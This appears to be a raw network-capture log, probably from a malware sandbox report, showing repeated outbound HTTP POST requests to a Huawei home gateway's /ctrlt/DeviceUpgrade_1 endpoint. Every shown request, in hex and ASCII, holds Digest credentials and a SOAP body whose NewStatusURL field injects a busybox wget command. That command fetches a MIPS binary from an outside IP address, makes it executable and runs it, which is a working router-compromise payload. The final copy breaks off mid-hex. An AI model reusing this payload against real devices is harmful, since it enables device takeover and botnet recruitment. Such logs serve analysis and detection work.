Nov 19, 2023 09:16:16.513394117 CET	920	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:18.120306015 CET	976	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:20.040004015 CET	1031	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:24.007448912 CET	1142	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:31.686516047 CET	1343	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:47.044363022 CET	1759	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:18.272103071 CET	2605	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	156.253.34.65	37215	192.168.2.23	36808

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:16.513394117 CET	920	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:18.120306015 CET	976	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:20.040004015 CET	1031	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 